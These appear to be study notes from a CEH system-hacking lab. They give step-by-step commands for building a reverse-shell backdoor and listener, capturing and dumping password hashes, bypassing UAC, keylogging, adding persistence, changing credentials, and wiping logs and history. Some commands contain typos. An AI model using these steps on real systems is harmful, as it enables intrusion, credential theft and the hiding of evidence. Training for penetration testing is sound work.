**Module 6: System Hacking Notes**

* **Responder Tool (in Linux):**
* LLMNR, NBT-NS and MDNS poisoner
* Mainly used to extract information form NBT-NS, LLMNR and MDNS Responder.

**Steps To Use:**

Terminal> responder –h for help

**Command: sudo responder –I (interface)**

**Eg: sudo responder –I eth0**

(sniffing username/computer name and password in hash value)

(info: the output will be save to the default location)

(log: Usr/share/responder/logs/”output log” )

* **Password Decrypting Tool:**
* **John the Ripper:**
* Command usage: sudo John [options] [password-files output from responder]
* Eg: Sudo john (Usr/share/responder/logs/ filename) > enter
* Find the Username and Password that matches the password list.
* **Password Cracking Tool:**
* **Lopht Crack tool:**
* **METASPLOIT**
* Open-source penetrating framework used by security engineers as a penetration testing system and a development platform that allows to create security tools and exploits.
* Modules of Metasploit : exploit, auxiliary, Post, Payloads
* Exploit : to hack the system.
* Auxiliary: to collect information.
* Post: to collect information after hacking.
* Payloads: to generate weapon to hack the system.
* **Payloads**

Tool used: msfvenom (in linux)

goto terminal > msfvenom -h > sudo msfvenom

* goto terminal > sudo msf venom -p windows/meterpreter/reverse\_tcp -- Platform windows -f exe LPORT=5555 LHOST=10.10.10.13 -o /home/kali/Desktop/backdoor/backdoor-5555.exe (Note: -o /var/www/html/backdoor/Test-5555.exe)

( note: -p : to generate payload , – Platform: OS, -f : format, LPORT: Listening Port, LHOST: Listening Host

-O: path file )

* in new tab:

sudo cp -irf /home/kali/Desktop/backdoor /var/www/html

(copy the folder to Apache Server Default Location)

then Start Apache Server:

Sudo Systemctl status apache2.service

Sudo Systemctl Start apache2.service

* **In tool msfconsole:**

goto terminal > use exploit/multi/handler > set payload windows/meterpreter/reverse\_tcp > show options > Set LHOST 10.10.10.13> Set LPORT 5555 > Exploit

* **In Windows:**

goto browser > browse: 10.10.10.13/backdoor/ > download > install/ run backdoor-5555.exe

* In kali os:

Access the windows os from kali os.

**Useful Commands:**

1. background – Sends the active Session to background and Runs session in background.

2. session - i / show sessions – To Displays the Active Session.

· Create a file in windows machine and insert something in it and save it.

##### For Checking User privilege (PowerSploit Tool)

**· Installing PowerSploit tool in Kali os for Checking User privilege**

**Steps:**

goto github > Search PowerSploit > Select top rating Script & Copy link > open terminal > sudo git clone & paste the Copied Script > run ls command > goto Power exploit directory > ls > cd Privesec > Check “PowerUp.ps1” file

* **Uploading PowerSploit tool to target System (In Scenario window 11)**

**Steps:**

1. Tool uploading Command: upload /home/kali/PowerSploit/Privesec/PowerUp.ps1

2. Uploaded tool Checking Command: pwd (Present Working Directory)

3. Goto Window Shell Command: Shell

4. Run Command: Powershell –ExecutionPolicy Bypass – Command “. .\PowerUp.ps1;Invoke-AllChecks”

5. Check the Privilege and Run exit Command to exit

6. Run command: run vnc (run- executes meterpreter script)

* **Manipulating the file of target (windows 11 )Machine**

**Steps:**

1. Change the path to switch to window machine. (use Double “\\” for path Change)

(eg: cd c:\\users\\Admin\\Downloads to cd c:\users\Admin\Downloads)

2. Run “ cat” command to read file created in target machine(window 11)

3. Use “ – help” command for Session Details

4. Use “ timestomp ” command to manipulating file MACE attributes.

(MACE – Modified Access Created Entry modified)

5. Run “timestomp file name –v ” command to check the MACE Values of the file

(MACE Values – created date time, modified date time & Accessed date time)

- To edit file (Command: edit filename )

Use (I for inserting data & esc;wq for to save and exit the file)

- To change file modified date and time

(Command: timestomp filename – m “MM/DD/YY HH24:MI:SS”

Eg: timestomp Secret.txt – m “02/28/2024 18:03:42”

- To change file Created date and time

(Command: timestomp filename – c “MM/DD/YY HH24:MI:SS”

Eg: timestomp Secret.txt – c “02/28/2024 18:03:42”

- To change file Accessed date and time

(Command: timestomp filename – a “MM/DD/YY HH24:MI:SS”

Eg: timestomp Secret.txt – a “02/28/2024 18:03:42”

* **Using Keylogger: (Tracking the key’s input Logs of Target)**

- Keyscan\_start (to start the key input tracking)

- Keyscan\_dump (to look /read the key tracked)

- Keyscan\_stop (to stop activity)

- To check idle time [ Command: idletime ]

- Use “shell” command to go to/use command prompt.

- To check hidden file, use “dir /a:h” command

- To check firewall status, use “netsh firewall show state”

- To check Users, use “wmic useraccount getname,sid”

* **privilege Checking :**
* **Using Broot Tool (in attacking machine)**
* for Checking user privilege in depth

**Steps:**

- After Exploiting the target machine, run “Shell” command

- Copy beRoot.exe file from shared drive to windows downloads

- type beRoot.exe and enter to check Privilege

* **Seatbelt tool**
* For Checking user privilege in depth

**Steps:**

- After Exploiting the target machine, run “Shell” command

- Copy Seatbelt.exe file from shared drive to windows downloads

- type “Seatbelt.exe -group=system” (for grabbing system info)

- type “Seatbelt.exe -group=user”(for grabbing users info)

* **Grabbing Hashfile form target after Exploitation of Target machine.**

**steps:**

1. run “Search hashdump” Command.
2. run “Search -f hashdump” command. (Checks for hash file, if not found break the operation and executes next steps)
3. run “Search hashdump” Command.
4. Open the background session

“ show sessions & Sessions -i (session\_id)”

1. run cmd “ run post/windows/gather/smart\_hash dump”
2. Check for a hash file.
3. to increase Privilege “ getsystem -t 1” command.

* **For Privilege Bypass/escalation:**

Steps:

1. First, send running session to background ( cmd: background)
2. Search bypassuac (uac means user access control , bypassuac is used for bypassing user access control)
3. use exploit “ use exploit/windows/local/bypassuac\_fodhelper”
4. run “show options” command
5. run “set session (session\_id)” [to set new session as per previous background session]
6. run “show options” command
7. set “ LPORT & LHOST” (same as previous backgrounded session)
8. run “ exploit “ command
9. “getuid” cmd to check user id
10. run “post/windows/gather/smart\_hash dump (to extract users password hash file)
11. run “getsystem -t1” for leveling up the privilege
12. run “getuid” command to get user information
13. run “clearev” command to clear all logs from the exploited/ target machine)

* **Armitage Tool ( GUI Version of Metasploit) - tool in kali os**
* To install: sudo apt install armitage
* To Start Postgresql: sudo systemctl start postgresql.service (first start postgresql before starting armitage tool)
* To check Status of Postgresql: sudo systemctl status postgresql.service
* To start Armitage: goto command prompt> run “armitage” command
* In case of database error,run cmd & cmd “ sudo -E msfdb inti)

1. **First, Define Target:**

**Steps for host discovery:**

host> nmap scan > intense scan> define/enter target ip > scan

1. **Second,Create Payload:**

**Steps to Create payload:**

goto payload> select platform “Windows”> meterpreter> meterpreter\_reverse\_tcp > double click on it > Scroll down and set LHOST& LPORT > Set output”exe” > launch> assign location to save payload

1. **Third, Exploit:**

**Steps to Exploit target:**

select target in Workspace> goto Payload > Select Window Option > Select Meterpreter option > select meterpreter\_reverse\_tcp & double click on it > scroll down & set LHOST , LPORT value same as Previous configured Payload > in Output select”multi/handler” > launch

1. **After Exploit:**

* Right click on Compromised/ hacked system to explore

**for Exploring hacked system on the basis of objectives:**

1. goto meterpreter > Access > Escalate Privileges / steal tokens / Dump Hashes
2. goto meterpreter> interact > Command shell/ Meterpreter shell/ Desktop(vnc)
3. goto meterpreter > explore> Browse files/ Show Processes/ Log Keystrokes / Screenshot/ Webcam Shot

* **Gathering Hashdump or modifying the target Credentials:**

**Steps:**

1. After Exploiting the target and privilege escalation
2. load ( press tab) > load kiwi too , cmd”load kiwi” (kiwi is a too modify credientials)
3. run “ help kiwi” cmd for options
4. run” lsa\_dump\_sam”
5. select & Copy the users NTLM hash value
6. Open Notepad and save it.
7. run” Password\_change” cmd
8. cmd to change password “ Password\_change -u (User Account Name) -n (copied native hash value of user account) -P (new created password)
9. run “lsa\_dump\_sam” to check new hash value of User account
10. lock the user in attacker machine and check password (windows 11)
11. In kali os for changing original password using new hash value

* “Password\_change -u (user account name) -N(insert old native hash value of user) -P (password)

1. In kali os for changing new password to original password using old hash value

* “password\_change -U (user account name) -p (changed password) -n (copied old hash value)

1. Check the original password by logging into user from target machine.

* **System hacking / Attacking from Windows OS:**
* Attacking environment windows server 2022 & Windows 11
* tools: Jonin for Attacker machine, Ninja for target machine
* Jonin:for Attacker, Ninja: for Payload
* tool location in windows 11 : CEH Tools> System Hacking > Spyware > general spyware> Ninja Jonin> Ninja , Jonin

**Steps:**

1. **In windows 11:**

* extract jonin zip file > > extract ninja zip file> select config > right click & open with notepad> set NAME & Host(Listener ip) > Save it
* rename Ninja folder as Backdoor> zip it with winrar

Note: NAME - For Display Name , Host- Listener ip

1. **In windows Server 2022:**

* Open Server 2022> goto cmd > search windows 11 ip > enter network credentials > map network drive for copying the ninja (payload)

1. **Exploiting server 2022 from windows 11:**

* open jonin folder in windows> run jonin “exe” (running listener first )
* copy ninja folder from mapped drive to desktop > run ninja “exe” (running Responder Second)

1. **After Exploitation:**

* In Attacker machine: enter in Jonin > run “list” cmd> enter >run “connect 1” cmd > enter > change > entertype: cmd > now use cmd of server 2022 (ipconfig/ Whoami)

(Note: “Connect” cmd - to connect session

“Change” cmd - for access change / changing access mode)

* **For Maintaining access after exploiting the Target :**

**Steps:**

* exploit windows server 2022 by kali os
* escalate privilege from user to system
* Upload the configured payload to the compromised machine(exploited machine)

command: upload “configured Payload location” “Compromised machine systems startup file location”

**eg: upload /var/html/Backdoor/today-3333.exe “c:\\ProgramData\\Start Menu\\Programs\\Startup”**

- Reboot the compromised machine (exploited target) using cmd “reboot”

- after logging in, check the system information “sysinfo”, userid ”getuid”

* **Active Directory User Privilege escalation:**

**(target: win-srv2022 attacker: kali os)**

**Steps:**

1. First, exploit window server 2022 from kali/parrot os
2. In Server 2022, Server manager > tools> Active Directory Users and computers > System > AdminSDHolder > rt.click > Properties > Security > Check user “martin”
3. In Server 2022, Server manager > Active Directory Users and computers > users> rt.click > properties > check user group “ member of”
4. In kali os, install Powertool-master / copy Powertool-master from window 11 to Window server 2022-Downloads location
5. run cmd ‘getsystem -t1’ (leveling up the privilege)
6. Check the userid using ‘getuid’ cmd
7. run cmd ‘shell’ for windows cmd prompt
8. run cmd ‘Powershell’ to go inside powershell Prompt
9. change directory from( C:\Windows\System32) to (C:\Users\Administrator\Downloads\Powertools-master\)
10. check the files of Power tools-master ( cmd: dir)
11. Change directory to Powerview ( cmd: cd Powerview)
12. Import powerview module ( cmd: Import-module ./powerview.psm1)
13. **run cmd** (Add-ObjectACL -targetADSprefix 'CN=AdminSDHolder, CH=System' PrincipalSamAccountName Martin -Verbose -Rights All )
14. for checking user martin’s privilege, **run cmd** (Get-ObjectAcl -SamAccountName "Martin" -ResolveGUIDs)
15. Changing Registry value and Reducing timing,

**run cmd**: REG ADD HLLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /V AdminSDProtectFrequency /T REG\_DWORD /F /D 100

* **Converting Channels using Covert\_TCP tool:**
* Target: Ubuntu,
* Attacker: Kali

**Steps:**

* In Kali os:
* goto desktop “ cd Desktop\ “
* make directory Send “mkdir Send”
* create message.txt file and write content on it ( cmd: echo “Secret Message” >>message.txt “)
* From File manager go to "Other location" and write "smb://10.10.10.11 then CEHv12 Tools\System Hacking\Covering Track Tools\Covert\_TCP covert\_tcp.c" copy to "send" folder
* go inside Covert\_TCP directory & run cmd “sudo cc -o covert\_tcp covert\_tcp.c”
* In Ubuntu Os
* goto desktop directory “ cd Desktop\”
* Make a New Directory “ mkdir receive “
* From File manager go to "Other location" and write "smb://10.10.10.11 then CEHv12 Tools\System Hacking\Covering Track Tools\Covert\_TCP covert\_tcp.c" copy to "receive" folder
* goto covert\_tcp directory and run cmd ”sudo cc -o covert\_tcp covert\_tcp.c” //It compile "covert\_tcp.c" to "covert\_tcp"
* In kali Os:Sender
* run cmd “ In kali: Sender (“ sudo ./covert\_tcp -source 10.10.10.13 -source\_port 9999 -dest 10.10.10.9 -dest\_port 8888 -file /home/kali/Desktop/Send/message.txt”) // It starts to send the message content in "message.txt”
* In Ubuntu os: Receiver
* run cmd (“ sudo ./covert\_tcp -source 10.10.10.13 -source\_port 8888 -dest 10.10.10.9 -dest\_port 9999 -server -file /home/ubuntu/Desktop/Receive/receive.txt”)

// It start to receive the message from target machine

* After completion of receiving data, Stop capturing traffic in wireshark also. Now we can analyze the traffic.
* **Steganography :**
* technique of hiding data within an ordinary, nonsecret file or message to avoid detection.
* Types of Steganography:

1. WhiteSpace Steganography
2. Image Steganography

* WhiteSpace Steganography : In windows 11

- Tool: Snow

**Steps:**

1. in win-11 > goto backup drive(E;) > CEH-Tools > goto module 6 System hacking > steganography tools > Whitespace steganography > snow
2. copy snow folder to the desktop
3. open cmd prompt & goto Snow directory “cd snow”
4. run cmd : “SNOW.EXE -C -m “This is the server credentials- Pa$$w0rd” -p “password” test.txt test-1.txt ( cmd for hiding )

Note: -C : compress / decompress

-m : Message string

-p : password for encryption and decription

1. run cmd: “SNOW.EXE -C -p “password” Test1.txt (cmd for unhiding)
2. For checking the file

* in GUI, press Ctrl+A and analyze white spaces > file with more white spaces is duplicate/Faulty
* in CMD, run cmd “SNOW.EXE -C -p “Encription/Decription password” File name > analyze the spaces between executed cmd and new cmd line
* **Image Steganography: (OpenStego tool in Windows 11)**
* practice of concealing information within the data of digital images without altering their visual appearance
* Tools: Offline tool - OpenStego , Online tool - StegOnline

**Steps:**

1. in win-11 > goto backup drive(E;) > CEH-Tools > goto module 6 System hacking > steganography tools > Image steganography > OpenStego > Run exe file and install
2. Open “OpenStego” application & Install Java jdk development kit
3. reopen application & create one text file and folder in desktop
4. download one image from google and copy it to same folder in desktop
5. **in Open Stego application, (for hiding)**

* add message file (text file)
* add cover file (downloaded image)
* Assign Stego File Output location for Saving
* insert password and confirm password for encryption

1. **in Open Stego application, (for unhiding)**

* goto extract data > input Stego File location > assign message file output saving location> input password for Decryption > Extract Data
* **Log Clearing (last phase of Cyber kill Change):**
* **Log clearing in windows machine:**
* for checking log status in windows: ‘Event Viewer’ application
* for checking Security logs: ‘auditpol.exe’ application

1. **For Checking logs Audits Status:**

- run cmd prompt as administrator > run cmd

“ auditpol.exe /get /category:\* ”

1. **For enabling logs status:**

* run cmd prompt as administrator > run cmd “ auditpol.exe /set /category:\* /Success:enable /Failure:enable **” // enabling all logs**
* run cmd prompt as administrator > run cmd “ auditpol.exe /set /category:"Account Logon" /Success:enable /Failure:enable ” **// enabling specific category logs**
* run cmd prompt as administrator > run cmd “ auditpol.exe /set /subcategory:"Credential validation" /Success:enable /Failure:enable ” **//enabling specific subcategory log**

( Note: to enable logs : /Success: enable /Failure:enable

to disable logs: /Success:disable /Failure:disable )

1. **For Disabling all Logs:**

* run cmd “ auditpol /clear /y ”

1. **For Clearing all logs from Event Viewer:**

* tool: Window event Utility ( wevtutil.exe)
* Run CMD as administrator >In Cmd prompt > run “wevtutil.exe cl Window logs category” // cl to remove all logs from system
* commands:

“ wevtutil.exe cl Security ”

“ wevtutil.exe cl Setup ”

“ wevtutil.exe cl System ”

“wevtutil.exe cl Security ”

* **Data Encryption for deleted file:**
* In Windows Toos: (Tool: Cipher.exe )
* go to Cmd prompt > Run as Administrator > Cmd: Cipher.exe /w:C

(For Data Encryption to deleted file)

* **Log Clearing in Linux System:**

-goto terminal > run cmd “ history” > to look all history

1. Disabling history in active session of terminal:

cmd: “export HISTSIZE=0 ”

1. Log location in Linux:

* ls /var/log //System Boot Log

1. For log Checking in linux:

* goto terminal > sudo cat /var/log/boot.log

1. To Modify log in linux:

* goto terminal > sudo vi /var/log/boot.log

( vi - to view , I - to insert , ;wq - to save and quit).

1. To remove log in Linux:

* run cmd: sudo -irf rm /var/log/boot.log